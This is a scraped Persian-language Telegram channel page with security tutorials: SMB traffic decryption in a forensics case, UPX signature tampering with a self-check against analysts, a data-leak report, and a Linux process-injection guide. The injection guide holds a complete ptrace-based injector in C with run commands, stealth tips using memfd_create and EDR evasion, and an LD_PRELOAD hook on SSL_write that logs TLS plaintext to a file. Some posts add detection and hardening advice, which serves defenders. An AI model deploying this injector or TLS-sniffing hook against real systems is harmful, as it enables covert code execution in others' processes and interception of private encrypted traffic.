Mr. SAM – Telegram
Mr. SAM
147 subscribers
131 photos
7 videos
23 files
751 links
شنبه
٦ ‏( دی = ۱۰ )‏ ۱٤۰٤
‏27 ( دسامبر = december = 12 ) 2025
تکنیک‌ها ، کالبدشکافی ، درک عمیق ، یک قدم جلوتر ...
https://news.1rj.ru/str/boost/NullError_ir
Download Telegram
Mr. SAM
#Autopsy کالبدشکافی از ترافیک شبکه تا حافظه سیستم تحلیل جامع فارنزیک با ابزارهای Command-Line مقدمه: سناریو و شواهد اولیه در یک سازمان، دو کارمند پس از اخراج، با استفاده از دسترسی‌های پیشین خود به سرور فایل‌ها متصل شده و اطلاعاتی را مشاهده کرده‌اند.…
۵.۱. رمزگشایی با پسورد و هش

* برای کاربر اول: می‌توان پسورد را مستقیماً در Wireshark (بخش Preferences -> Protocols -> NTLMSSP ) وارد کرد تا ترافیک او را رمزگشایی کند.

* برای کاربر دوم (تکنیک پیشرفته): از آنجایی که پسورد را نداریم، از NT Hash برای رمزگشایی ترافیک مبتنی بر Kerberos استفاده می‌کنیم. برای این کار، ابتدا باید یک فایل keytab بسازیم.

۵.۲. ساخت Keytab با Impacket

ابزار keytab.py یک اسکریپت از مجموعه ابزار فوق‌العاده قدرتمند Impacket است که برای کار با پروتکل‌های شبکه در پایتون طراحی شده.

با استفاده از keytab.py و NT Hash کاربر دوم، یک فایل user2.keytab می‌سازیم. سپس این فایل را در Wireshark (بخش Preferences -> Protocols -> KRB5 ) بارگذاری می‌کنیم. این کار به Wireshark اجازه می‌دهد تا ترافیک SMB کاربر دوم را نیز رمزگشایی کند.

پس از رمزگشایی، با استفاده از قابلیت File -> Export Objects -> SMB در Wireshark یا ابزارهای استخراج فایل مانند Zeek ، فایل‌های clients156.csv و clients978.csv را استخراج کرده و شواهد نهایی تخلف را به دست می‌آوریم.


۶. راهکارهای عملیاتی: شناسایی، مقابله و پیشگیری


۶.۱. شناسایی فعال با Sigma

قوانین Sigma یک راه استاندارد برای توصیف الگوهای حمله هستند که می‌توانند در انواع SIEM ها استفاده شوند.

یک قانون ساده برای شناسایی تلاش برای دامپ کردن حافظه LSASS می‌تواند به تیم امنیتی شما در شناسایی چنین حملاتی در لحظه کمک کند.

۶.۲. استراتژی‌های پیشگیری و Hardening

1. مدیریت چرخه حیات هویت (IAM): حیاتی‌ترین اقدام، پیاده‌سازی یک فرآیند Off-boarding سریع و خودکار است. حساب‌های کاربری باید در آخرین روز کاری کارمند غیرفعال شوند.

2. محافظت از Credential ها: فعال‌سازی قابلیت Windows Defender Credential Guard برای محافظت از حافظه LSASS در برابر حملات Credential Dumping.

3. مانیتورینگ شبکه: پیاده‌سازی ابزارهایی مانند Zeek در شبکه برای نظارت مستمر بر ترافیک و شناسایی الگوهای دسترسی غیرعادی به فایل سرورها.

4. اصل حداقل دسترسی (PoLP): اطمینان حاصل کنید که کاربران فقط به داده‌هایی دسترسی دارند که برای انجام وظایف شغلی‌شان ضروری است.

@NullError_ir
🔥1
#upx

تکنیکی ساده اما هوشمندانه

یک تکنیک کلاسیک اما هوشمندانه در حوزه مهندسی معکوس و حفاظت از نرم‌افزار :
استفاده از پکر UPX ، دستکاری امضای آن برای گمراه کردن ابزارهای تحلیل خودکار و سپس پیاده‌سازی یک مکانیزم خود-بررسی (Self-Checksum) در برنامه برای اطمینان از دستکاری نشدن آن.

در این نوشته، با دیدی عمیق‌تر در سطح تکنیک‌های (Anti-Reversing) مفاهیم را گسترش داده و راهکارهای مقابله با آن را نیز تشریح می‌کنیم.

مقدمه: فلسفه استفاده از پکرها و تکنیک‌های Anti-Analysis

در دنیای حفاظت از نرم‌افزار، پکرها ابزارهایی هستند که فایل اجرایی اصلی (PE - Portable Executable) را فشرده، رمزنگاری یا مبهم‌سازی (Obfuscate) می‌کنند. هدف اصلی این کار، کوچک‌تر کردن حجم فایل و مهم‌تر از آن، سخت‌تر کردن فرآیند مهندسی معکوس است. UPX یکی از معروف‌ترین و پراستفاده‌ترین پکرهاست که به دلیل متن-باز بودن و سادگی استفاده، محبوبیت زیادی دارد.

با این حال، به دلیل همین شهرت، تقریباً تمام ابزارهای تحلیل بدافزار و مهندسی معکوس (مانند Exeinfo PE, IDA Pro, x64dbg) قادر به شناسایی و حتی باز کردن (Unpack) خودکار فایل‌های پک شده با UPX هستند. تکنیک شرح داده شده در مقاله، دقیقاً برای مقابله با همین نقطه ضعف طراحی شده است.

کالبدشکافی فنی و مراحل اجرای تکنیک

بیایید فرآیند را قدم به قدم با جزئیات فنی دقیق باز کنیم.

مرحله ۱: ساخت یک برنامه ساده و پک کردن آن با UPX

ابتدا یک برنامه ساده (مثلاً به زبان C یا ++c) نوشته و کامپایل می‌کنیم. این برنامه می‌تواند هر عملکردی داشته باشد.

#include <iostream>
#include <windows.h>

int main() {
MessageBox(NULL, "This is the original program!", "Hello World", MB_OK);
return 0;
}


پس از کامپایل، فایل اجرایی ( مثلاً SPE.exe ) را با استفاده از UPX پک می‌کنیم.

upx --best SPE.exe


در این مرحله، UPX کدهای اصلی برنامه را فشرده کرده و یک "Stub" یا "Loader" به ابتدای فایل اجرایی اضافه می‌کند. وظیفه این Stub این است که در زمان اجرا، کدهای فشرده شده را در حافظه باز کرده و سپس کنترل اجرا را به نقطه ورود اصلی (Original Entry Point - OEP) برنامه منتقل کند.

مرحله ۲: اصلاح امضای UPX (Shell Modification)

این هوشمندانه‌ترین بخش تکنیک است. فایل‌های پک شده با UPX دارای امضاهای (Signatures) مشخصی در هدر خود هستند. یکی از این امضاها، رشته "UPX\!" است که به ابزارهای تحلیل کمک می‌کند تا نوع پکر را شناسایی کنند. در ساختار فایل PE، این امضاها در بخش‌هایی که UPX ایجاد می‌کند (معمولاً UPX0 , UPX1 ) قرار دارند.

با استفاده از یک ویرایشگر هگزادسیمال (Hex Editor) مانند HxD، به دنبال مقادیر معادل رشته "UPX" یعنی 55 50 58 گشته و آن را به 35 32 30 که معادل رشته "520" است، تغییر می‌دهیم.

چرا این کار مؤثر است؟

* ابزارهایی مانند Exeinfo PE یا اسکریپت‌های Unpacker در دیباگرها، برای شناسایی پکر از جستجوی این امضای ثابت استفاده می‌کنند. با تغییر این امضا، این ابزارها دیگر قادر به تشخیص UPX نخواهند بود و فایل را به عنوان یک فایل "ناشناخته" یا "محافظت نشده" شناسایی می‌کنند. این اولین لایه گمراه‌سازی است.

* این کار باعث می‌شود Unpackerهای خودکار که به دنبال این الگو هستند، با شکست مواجه شوند و تحلیلگر مجبور به تحلیل دستی و یافتن OEP شود که فرآیندی زمان‌برتر است.

مرحله ۳: تحلیل با IDA Pro و چالش‌های آن

وقتی فایل پک شده (حتی بدون تغییر امضا) را با IDA Pro باز می‌کنیم، چیزی که می‌بینیم کد Stub لودر UPX است، نه کد اصلی برنامه. این کد وظیفه باز کردن برنامه در حافظه را دارد و تحلیل آن برای رسیدن به کد اصلی، پیچیده است.

مشکل اصلی: تحلیلگر باید نقطه پایانی روتین Unpacking و پرش نهایی به OEP را پیدا کند. این کار به صورت دستی نیازمند مهارت در اسمبلی و دیباگ کردن است.

اثر تغییر امضا: با تغییر امضا، حتی پلاگین‌ها یا اسکریپت‌های کمکی IDA که برای Unpack کردن UPX طراحی شده‌اند نیز از کار می‌افتند و تحلیلگر را کاملاً به مهارت‌های دستی خود متکی می‌کنند.

مرحله ۴ (پیشرفته): پیاده‌سازی مکانیزم خود-بررسی

این بخش، تکنیک ما را از یک "گمراه‌سازی ساده" به یک "حفاظت فعال" (Active Protection) تبدیل می‌کند. ایده این است که برنامه در زمان اجرا، خودش را در حافظه یا روی دیسک بررسی کند تا مطمئن شود که امضای "520" هنوز وجود دارد. اگر کسی برنامه را با موفقیت Unpack کند یا امضا را به حالت اول (UPX) برگرداند، این بررسی با شکست مواجه شده و برنامه از اجرا خارج می‌شود.
Please open Telegram to view this post
VIEW IN TELEGRAM
1
Mr. SAM
#upx تکنیکی ساده اما هوشمندانه یک تکنیک کلاسیک اما هوشمندانه در حوزه مهندسی معکوس و حفاظت از نرم‌افزار : استفاده از پکر UPX ، دستکاری امضای آن برای گمراه کردن ابزارهای تحلیل خودکار و سپس پیاده‌سازی یک مکانیزم خود-بررسی (Self-Checksum) در برنامه برای…
پیاده‌سازی نمونه (Conceptual Code):

#include <iostream>
#include <fstream>
#include <vector>
#include <windows.h>

bool VerifySignature() {
char currentPath[MAX_PATH];
GetModuleFileName(NULL, currentPath, MAX_PATH);

std::ifstream file(currentPath, std::ios::binary);
if (!file.is_open()) {
return false;
}

// Read file content into a buffer
std::vector<char> buffer((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
file.close();

// The signature "520" in hex is 35 32 30
const char signature[] = { 0x35, 0x32, 0x30 };

// Search for the signature in the buffer
auto it = std::search(buffer.begin(), buffer.end(), signature, signature + sizeof(signature));

return it != buffer.end(); // Return true if signature is found
}

int main() {
if (!VerifySignature()) {
// If signature is not found (e.g., unpacked or modified), exit silently.
return -1;
}

MessageBox(NULL, "Signature verified! Program is running.", "Protected App", MB_OK);
return 0;
}


این کد قبل از اجرای منطق اصلی برنامه، فایل اجرایی خودش را می‌خواند و به دنبال امضای دستکاری شده ( 35 32 30 ) می‌گردد. اگر این امضا پیدا نشود (یعنی برنامه Unpack شده) ، برنامه به سادگی خارج می‌شود. این یک تکنیک بسیار مؤثر ضد-دیباگ و ضد-تغییر (Anti-Tampering) است.

کمی پیشرفته‌تر

یک تحلیلگر حرفه‌ای چگونه با چنین حفاظتی مقابله می‌کند؟ و یک مهاجم چگونه می‌تواند آن را قوی‌تر کند؟

روش‌های مقابله با این تکنیک:

1. دیباگ کردن دستی: تحلیلگر برنامه را در یک دیباگر (مانند x64dbg یا WinDbg ) بارگذاری می‌کند. سپس با قرار دادن یک Breakpoint روی توابع دسترسی به فایل (مانند CreateFile , ReadFile ) می‌تواند متوجه شود که برنامه در حال خواندن خودش است.

2. یافتن OEP (Original Entry Point): روش کلاسیک برای Unpack کردن UPX به صورت دستی، دنبال کردن چند پرش (Jump) و پشته (Stack) است. معمولاً آخرین PUSHAD و POPAD در کد Stub و یک پرش بلند (Long Jump) به بخش دیگری از حافظه، نشانگر رسیدن به OEP است. پس از رسیدن به OEP، می‌توان یک (Dump) از حافظه فرآیند گرفت و فایل اجرایی Unpack شده را بازسازی کرد.

3. اصلاح بایت‌های شرطی: پس از یافتن روتین خود-بررسی، تحلیلگر می‌تواند پرش شرطی (Conditional Jump) مربوط به بررسی امضا را با NOP No Operation جایگزین کرده یا آن را معکوس کند تا این مکانیزم حفاظتی را غیرفعال سازد.

چگونه این تکنیک را پیشرفته‌تر کنیم؟ (دیدگاه مهاجم)

1. استفاده از پکر‌های چند لایه یا ناشناخته: به جای UPX، از پکر‌های پیچیده‌تر مانند VMProtect یا Themida استفاده شود که از مجازی‌سازی، جهش کد (mutation) و تکنیک‌های بسیار پیشرفته‌تری استفاده می‌کنند.

2. رمزنگاری امضا: به جای جستجوی یک رشته ثابت ("520") ، می‌توان چندین امضای مختلف در نقاط مختلف فایل قرار داد و در زمان اجرا آن‌ها را با یک الگوریتم رمزگشایی کرده و بررسی کرد.

3. تکنیک‌های Anti-Debug: در کنار بررسی امضا، می‌توان از ده‌ها تکنیک Anti-Debug دیگر استفاده کرد ؛ مانند بررسی وجود دیباگر با IsDebuggerPresent() , بررسی زمان‌بندی اجرا (Timing Checks) برای شناسایی Breakpointها ، و غیره.

جمع‌بندی و نتیجه‌گیری

تکنیک ارائه شده یک مثال عالی از این است که چگونه می‌توان با ترکیبی هوشمندانه از چند روش ساده، یک لایه حفاظتی مؤثر ایجاد کرد که ابزارهای خودکار را فریب داده و هزینه و زمان تحلیل دستی را به شدت افزایش می‌دهد. این تکنیک سه لایه کلیدی را با هم ترکیب می‌کند:

1. مبهم‌سازی (Obfuscation): با استفاده از پکر UPX برای پنهان کردن کد اصلی.

2. ضد-شناسایی (Anti-Fingerprinting): با تغییر امضای پکر برای فریب ابزارهای تحلیل.

3. ضد-تغییر (Anti-Tampering): با مکانیزم خود-بررسی برای اطمینان از دست نخورده باقی ماندن حفاظت.

این رویکرد نشان می‌دهد که در دنیای امنیت نرم‌افزار، خلاقیت در ترکیب تکنیک‌های موجود می‌تواند به اندازه استفاده از ابزارهای پیچیده، مؤثر باشد و درک آن هم برای توسعه‌دهندگان نرم‌افزار (برای حفاظت) و هم برای متخصصان امنیت (برای تحلیل) ضروری است.

@NullError_ir
2
#nazdika

شبکه اجتماعی ایرانی نزدیکا رو چند سال قبل اسمش رو شنیدم و دیگه خبری ازش نشد تا اینکه الان گفتن هک شده . متاسفانه نمونه دیتایی که گذاشتن عکس و فیلم و چت خصوصی مردم پخش شده ...

@NullError_ir
💔1
#آموزشی
( از تئوری تا کد: ساخت Injector سفارشی ) مطلب سنگین 💀
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
#linux_Process_Injection

راهنمای جامع تزریق فرآیند در لینوکس: از LD_PRELOAD تا ptrace


مقدمه: فلسفه تزریق فرآیند در لینوکس

تزریق فرآیند (Process Injection) یکی از تکنیک‌های بنیادین در دنیای امنیت سایبری است که هم توسط مهاجمان برای اجرای کدهای مخرب در بستر یک فرآیند معتبر (trusted process) و هم توسط متخصصان امنیت برای تحلیل بدافزار، دیباگ کردن یا ابزار دقیق (instrumentation) استفاده می‌شود. در سیستم‌عامل‌های مبتنی بر لینوکس، یکی از قدرتمندترین و پرکاربردترین روش‌ها برای دستیابی به این هدف، بهره‌گیری از متغیر محیطی LD_PRELOAD است.

سیستم‌عامل‌های لینوکس از یک مکانیزم به نام "Dynamic Linker/Loader" (که معمولاً ld.so یا ld-linux.so است) برای بارگذاری کتابخانه‌های اشتراکی (Shared Libraries - فایل‌های با پسوند .so ) مورد نیاز یک برنامه در زمان اجرا استفاده می‌کنند. متغیر محیطی LD_PRELOAD به این Dynamic Linker دستور می‌دهد که قبل از هر کتابخانه دیگری (حتی کتابخانه‌های استاندارد مانند libc )، کتابخانه‌های مشخص شده در این متغیر را بارگذاری کند. این مکانیزم به ما اجازه می‌دهد تا توابع کتابخانه‌های استاندارد را Hook کرده و رفتار یک برنامه را بدون تغییر در کد اجرایی اصلی آن، دستکاری کنیم.

ابزار کلیدی: Injector سفارشی مبتنی بر ptrace

در گذشته از اسکریپت‌های واسط مانند ld-preloader که از GDB برای اتصال به فرآیند هدف استفاده می‌کردند، بهره گرفته می‌شد. اما این روش‌ها به دلیل ایجاد ردپای بزرگ و پرسروصدا در سیستم‌های مانیتورینگ مدرن (EDR)، منسوخ شده‌اند.

یک مهاجم یا محقق امروزی از یک Injector سفارشی استفاده می‌کند. این ابزار، یک برنامه کوچک و بهینه به زبان C است که مستقیماً از فراخوانی سیستمی (syscall) ptrace برای کنترل یک فرآیند دیگر و تزریق کد به آن بهره می‌برد. این روش ردپای بسیار کمتری دارد، نیازی به ابزارهای جانبی ندارد و شناسایی آن به مراتب دشوارتر است.

مراحل اجرای تکنیک

مرحله ۱: آماده‌سازی محیط و کامپایل کد تزریقی (Payload)

ابتدا نیاز به یک کد داریم که در قالب یک کتابخانه اشتراکی (.so ) کامپایل شود. این کد پس از تزریق، در فرآیند هدف اجرا خواهد شد. برای نمونه، یک کتابخانه ساده می‌نویسیم که پس از تزریق، یک پیام را در یک فایل لاگ ثبت می‌کند.

کد payload.c :

#include <stdio.h>
#include <unistd.h>
__attribute__((constructor))
void entry_point() {
FILE *log_file = fopen("/tmp/injection_log.txt", "a");
if (log_file == NULL) {
return;
}

fprintf(log_file, "Library injected successfully into process with PID: %d\n", getpid());
fclose(log_file);
}



نکات فنی پیشرفته در این کد:

__attribute__((constructor)) : این یک ویژگی کامپایلر GCC/Clang است. هر تابعی که با این attribute مشخص شود، به صورت خودکار توسط Dynamic Linker بلافاصله پس از بارگذاری کتابخانه در حافظه و قبل از اجرای تابع main() برنامه میزبان، اجرا می‌شود. این نقطه ورود (Entry Point) کد تزریقی ماست.

کامپایل کد:

برای کامپایل این کد به یک کتابخانه اشتراکی، از دستور زیر استفاده می‌کنیم:

gcc -shared -fPIC payload.c -o payload.so


-shared : به کامپایلر می‌گوید که خروجی باید یک کتابخانه اشتراکی باشد.

-fPIC : مخفف Position-Independent Code است. این فلگ برای ساخت کتابخانه‌های اشتراکی ضروری است، زیرا این کتابخانه‌ها باید قابلیت بارگذاری در هر آدرس دلخواهی از حافظه را داشته باشند.

مرحله ۲: ابزار تزریق و اجرای عملیات (injector.c ) > نقطه شروع سفارشی برای شما ❤️

این برنامه C قلب عملیات تزریق مدرن است. این ابزار PID هدف و مسیر payload.so را گرفته و با ptrace آن را تزریق می‌کند.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1
Mr. SAM
#linux_Process_Injection راهنمای جامع تزریق فرآیند در لینوکس: از LD_PRELOAD تا ptrace مقدمه: فلسفه تزریق فرآیند در لینوکس تزریق فرآیند (Process Injection) یکی از تکنیک‌های بنیادین در دنیای امنیت سایبری است که هم توسط مهاجمان برای اجرای کدهای مخرب در بستر…
کد injector.c :


#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <dlfcn.h>
#include <elf.h>
#include <link.h>

void* find_remote_function_address(pid_t target_pid, const char* lib_name, const char* func_name) {
void* local_handle = dlopen(lib_name, RTLD_LAZY);
if (!local_handle) return NULL;
void* local_addr = dlsym(local_handle, func_name);
if (!local_addr) { dlclose(local_handle); return NULL; }
Dl_info info;
if (!dladdr(local_addr, &info)) { dlclose(local_handle); return NULL; }
dlclose(local_handle);
long offset = (long)local_addr - (long)info.dli_fbase;
char maps_path[256];
sprintf(maps_path, "/proc/%d/maps", target_pid);
FILE* maps_file = fopen(maps_path, "r");
if (!maps_file) return NULL;
char line[512];
void* remote_base_addr = NULL;
while (fgets(line, sizeof(line), maps_file)) {
if (strstr(line, lib_name) && strstr(line, "r-xp")) {
sscanf(line, "%p-%*p", &remote_base_addr);
break;
}
}
fclose(maps_file);
if (!remote_base_addr) return NULL;
return (void*)((long)remote_base_addr + offset);
}

int write_to_process_memory(pid_t pid, void* addr, const char* data, size_t len) {
for (size_t i = 0; i < len; i += sizeof(long)) {
long word = 0;
memcpy(&word, data + i, sizeof(long));
if (ptrace(PTRACE_POKETEXT, pid, (char*)addr + i, word) == -1) {
perror("PTRACE_POKETEXT");
return -1;
}
}
return 0;
}

int main(int argc, char* argv[]) {
if (argc != 3) {
fprintf(stderr, "Usage: %s <pid> <path_to_so>\n", argv[0]);
return 1;
}
pid_t target_pid = atoi(argv[1]);
char* so_path = argv[2];
printf("-> Targeting PID: %d\n", target_pid);
printf("-> Attaching to process...\n");
if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == -1) { perror("PTRACE_ATTACH"); return 1; }
waitpid(target_pid, NULL, WUNTRACED);
printf("-> Finding address of dlopen...\n");
void* remote_dlopen_addr = find_remote_function_address(target_pid, "libc.so.6", "__libc_dlopen_mode");
if (!remote_dlopen_addr) {
fprintf(stderr, "Error: Could not find address of dlopen.\n");
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
return 1;
}
printf("-> Remote dlopen address: %p\n", remote_dlopen_addr);
struct user_regs_struct old_regs, regs;
if (ptrace(PTRACE_GETREGS, target_pid, NULL, &old_regs) == -1) { perror("PTRACE_GETREGS"); ptrace(PTRACE_DETACH, target_pid, NULL, NULL); return 1; }
memcpy(&regs, &old_regs, sizeof(struct user_regs_struct));
void* remote_stack_addr = (void*)(regs.rsp - strlen(so_path) - 1);
printf("-> Writing payload path to remote stack at %p\n", remote_stack_addr);
write_to_process_memory(target_pid, remote_stack_addr, so_path, strlen(so_path) + 1);
regs.rdi = (unsigned long long)remote_stack_addr;
regs.rsi = RTLD_LAZY;
regs.rip = (unsigned long long)remote_dlopen_addr;
printf("-> Executing remote call to dlopen...\n");
if (ptrace(PTRACE_SETREGS, target_pid, NULL, &regs) == -1) { perror("PTRACE_SETREGS"); ptrace(PTRACE_DETACH, target_pid, NULL, NULL); return 1; }
if (ptrace(PTRACE_CONT, target_pid, NULL, NULL) == -1) { perror("PTRACE_CONT"); return 1; }
waitpid(target_pid, NULL, WUNTRACED);
printf("-> Remote call finished. Restoring state...\n");
ptrace(PTRACE_GETREGS, target_pid, NULL, &regs);
if (regs.rax == 0) { fprintf(stderr, "Error: Remote dlopen call failed.\n"); }
else { printf("-> Injection successful! Handle: %llx\n", regs.rax); }
if (ptrace(PTRACE_SETREGS, target_pid, NULL, &old_regs) == -1) { perror("PTRACE_SETREGS (restore)"); }
printf("-> Detaching from process.\n");
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
return 0;
}
🔥1
Mr. SAM
کد injector.c : #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <sys/user.h> #include <dlfcn.h> #include <elf.h> #include <link.h> void* find_remo…
نحوه کامپایل و اجرا:

1. کامپایل Injector:

gcc injector.c -o injector -ldl

2. پیدا کردن فرآیند هدف:

sleep 1000 &

# [1] 12345 <-- این PID فرآیند هدف شماست


3. اجرای تزریق:

sudo ./injector 12345 $(pwd)/payload.so

4. تأیید موفقیت:

cat /tmp/injection_log.txt

# خروجی: Library injected successfully into process with PID: 12345


پیشرفته‌تر

یک مهاجم حرفه‌ای صرفاً به اجرای یک کد ساده بسنده نمی‌کند.

۱. پایداری و مخفی‌سازی (Persistence & Stealth)

* حذف ردپا از دیسک: به جای قرار دادن فایل .so روی دیسک، می‌توان از تکنیک memfd_create استفاده کرد. در این روش، یک فایل ناشناس در حافظه RAM ایجاد می‌شود، بایت‌های کتابخانه مخرب در آن نوشته شده و سپس از طریق مسیر /proc/self/fd/<fd> به dlopen داده می‌شود. این کار تحلیل forensics را دشوارتر می‌کند.

* دور زدن مکانیزم‌های تشخیص: بسیاری از ابزارهای امنیتی و EDR ها، استفاده مشکوک از ptrace را مانیتور می‌کنند. برای دور زدن این مکانیزم‌ها، مهاجمان ممکن است از تکنیک‌های پیچیده‌تری برای اجرای کد بدون ptrace یا پچ کردن مستقیم Dynamic Linker استفاده کنند.

* پاکسازی (Unhooking): پس از انجام عملیات مخرب، کتابخانه تزریق شده می‌تواند خود را از حافظه فرآیند با استفاده از dlclose تخلیه کند تا هیچ ردپایی از خود به جای نگذارد.

۲. هوک کردن توابع (Function Hooking)

قدرت واقعی این تکنیک در هوک کردن توابع است. فرض کنید می‌خواهیم تمام داده‌هایی که یک برنامه از طریق توابع SSL/TLS ارسال می‌کند را شنود کنیم.

مثال Hooking SSL_write:

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <openssl/ssl.h>

static int (*original_SSL_write)(SSL *ssl, const void *buf, int num);

int SSL_write(SSL *ssl, const void *buf, int num) {

if (!original_SSL_write) {
original_SSL_write = dlsym(RTLD_NEXT, "SSL_write");
}

FILE *log = fopen("/tmp/ssl_log.txt", "a");
if (log) {
fwrite(buf, 1, num, log);
fclose(log);
}

return original_SSL_write(ssl, buf, num);
}


وقتی این کتابخانه تزریق شود، هر بار که برنامه هدف تلاش کند داده‌ای را با SSL_write ارسال کند، ابتدا کد مخرب ما اجرا شده، داده‌ها را در یک فایل لاگ ذخیره می‌کند و سپس تابع اصلی را برای حفظ عملکرد عادی برنامه فراخوانی می‌کند.

dlsym(RTLD_NEXT, "SSL_write") : این یک فراخوانی کلیدی است. RTLD_NEXT یک هندل ویژه است که به dlsym می‌گوید: "به دنبال اولین رخداد (occurrence) از SSL_write *بعد از* کتابخانه فعلی من بگرد". این تضمین می‌کند که ما آدرس تابع اصلی را پیدا می‌کنیم و در یک حلقه بازگشتی بی‌نهایت گرفتار نمی‌شویم.


راهکارهای شناسایی و مقابله

1. مانیتورینگ ptrace syscall : ابزارهای مدرن تزریق از syscall به نام ptrace استفاده می‌کنند. سیستم‌های امنیتی می‌توانند فراخوانی‌های مشکوک ptrace را شناسایی کنند، به خصوص اگر توسط یک فرآیند ناشناس به یک فرآیند حساس (مانند مرورگر یا سرور SSH) انجام شود.

2. بررسی /proc/<PID>/maps : این فایل مجازی، نقشه حافظه یک فرآیند را نشان می‌دهد. مدیران سیستم و ابزارهای امنیتی می‌توانند این فایل را به صورت دوره‌ای اسکن کنند تا بارگذاری کتابخانه‌های غیرمنتظره یا ناشناس را در فرآیندهای حساس شناسایی کنند.

3. استفاده از Secure Boot و IMA (Integrity Measurement Architecture) : این مکانیزم‌های امنیتی در سطح کرنل می‌توانند یکپارچگی فایل‌های اجرایی و کتابخانه‌ها را قبل از بارگذاری تأیید کنند

4. محدود کردن با Seccomp-bpf , SELinux یا AppArmor : می‌توان سیاست‌هایی را اعمال کرد که به فرآیندها اجازه ندهد syscall های خطرناکی مانند ptrace را اجرا کنند یا متغیرهای محیطی مانند LD_PRELOAD را مقداردهی کنند.

5. تحلیل استاتیک و دینامیک: بررسی باینری‌های ناشناس برای یافتن رشته‌هایی مانند ptrace, dlopen و... می‌تواند به شناسایی ابزارهای تزریق کمک کند.

خلاصه مطلب

تکنیک استفاده از LD_PRELOAD یک روش قدرتمند و کلاسیک برای دستکاری فرآیندها در لینوکس است. با این حال، اجرای مدرن و مخفیانه این تکنیک، نیازمند کنار گذاشتن اسکریپت‌های قدیمی و استفاده از ابزارهای سفارشی مبتنی بر ptrace است. درک عمیق مکانیزم‌های زیربنایی مانند Dynamic Linker ، ptrace و هوک کردن توابع، این تکنیک را به یک ابزار بسیار خطرناک در دستان یک مهاجم تبدیل می‌کند. برای متخصصان امنیت، شناخت دقیق این روش‌ها و نقاط ضعف آن‌ها، کلید طراحی سیستم‌های دفاعی مؤثر و شناسایی حملات پیچیده در محیط‌های لینوکسی است.

@NullError_ir
🦠 😂
Please open Telegram to view this post
VIEW IN TELEGRAM
#Forensics

فارنزیک دیجیتال : گام‌های نخستین در حملات سایبری


در دنیای امنیت سایبری، سرعت و دقت در لحظات اولیه پس از شناسایی یک حادثه، نقشی حیاتی در مهار خسارت و شناسایی مهاجم ایفا می‌کند. اولین گام‌ها در تحقیق حملات سایبری ، به زیبایی این لحظات بحرانی را به ترازوی عدالتی تشبیه می‌کند که در یک کفه آن، سرعت عمل تیم پاسخ به حوادث (IR) و در کفه دیگر، دقت و صحت تحلیل تیم فارنزیک دیجیتال (DFIR) قرار دارد. برقراری تعادل میان این دو، شاه‌کلید یک تحقیق موفق است.

گام اول: شناسایی و ارزیابی اولیه (Initial Triage)

اولین و مهم‌ترین اقدام، درک سریع ابعاد و ماهیت حادثه است. در این مرحله، تحلیلگر باید به سوالات اساسی پاسخ دهد:

- چه اتفاقی افتاده است؟ آیا با یک آلودگی بدافزاری، نشت داده، یا دسترسی غیرمجاز مواجه هستیم؟

- چه سیستم‌هایی تحت تأثیر قرار گرفته‌اند؟ شناسایی میزبان‌ها (hosts)، سرورها و حساب‌های کاربری درگیر، برای محدود کردن دامنه تحقیق ضروری است.

- چه زمانی این اتفاق رخ داده است؟ تعیین یک خط زمانی اولیه (timeline) به درک توالی رویدادها کمک شایانی می‌کند.

- میزان تأثیر و خسارت چقدر است؟ ارزیابی اولیه خسارت به اولویت‌بندی اقدامات بعدی کمک می‌کند.

در این فاز، سرعت بر عمق تحلیل اولویت دارد. هدف، به دست آوردن یک تصویر کلی از حادثه برای تصمیم‌گیری‌های استراتژیک بعدی است.

گام دوم: جمع‌آوری داده‌های فرّار (Volatile Data Collection)

بسیاری از شواهد دیجیتال حیاتی، به شدت "فرّار" هستند و با یک reboot ساده یا گذشت زمان از بین می‌روند. قبل از هرگونه اقدام برای مهار یا پاک‌سازی، جمع‌آوری این داده‌ها از سیستم‌های آلوده الزامی است. این داده‌ها شامل موارد زیر است:

- حافظه RAM: گنجینه‌ای از اطلاعات شامل فرآیندهای در حال اجرا، کانکشن‌های شبکه، کلیدهای رمزنگاری و فعالیت‌های اخیر کاربر. ابزارهایی مانند Volatility و Redline برای تحلیل آن ضروری هستند.

- وضعیت شبکه: کانکشن‌های فعال ( netstat ) ، کش DNS و جدول ARP می‌توانند اطلاعات ارزشمندی در مورد ارتباطات مهاجم با سرورهای Command and Control (C2) ارائه دهند.

- فرآیندهای در حال اجرا: لیست فرآیندها می‌تواند به شناسایی بدافزارهای فعال و ابزارهای مورد استفاده مهاجم کمک کند.

- اطلاعات سیستم و زمان login کاربران: این داده‌ها به ساختن timeline دقیق‌تر حادثه کمک می‌کنند.

به خاطر داشته باشید، جمع‌آوری داده‌های فرّار باید با کمترین تأثیر ممکن بر روی سیستم قربانی (live system) انجام شود تا شواهد دستکاری نشوند.

گام سوم: ایجاد ایمیج از دیسک (Disk Imaging)

پس از جمع‌آوری داده‌های فرّار، نوبت به حفظ وضعیت پایدار سیستم می‌رسد. ایجاد یک ایمیج کامل و بیت-به-بیت از دیسک سخت سیستم‌های آلوده، یک اصل اساسی در فارنزیک دیجیتال است. این کار دو مزیت اصلی دارد:

1. حفظ شواهد: یک کپی دقیق و دست‌نخورده از شواهد دیجیتال برای تحلیل‌های بعدی و ارائه به مراجع قانونی فراهم می‌کند.

2. امکان تحلیل آفلاین: تحلیلگر می‌تواند بدون نگرانی از تغییر یا آسیب رساندن به سیستم اصلی، ایمیج را در یک محیط آزمایشگاهی ایزوله (sandbox) تحلیل کند.

ابزارهایی مانند dd , FTK-Imager و EnCase برای این منظور استفاده می‌شوند. محاسبه و ثبت هش (hash) ایمیج (مانند SHA-256) برای تضمین یکپارچگی و عدم تغییر آن (Chain of Custody) حیاتی است.

گام چهارم: تحلیل اولیه (Initial Analysis)

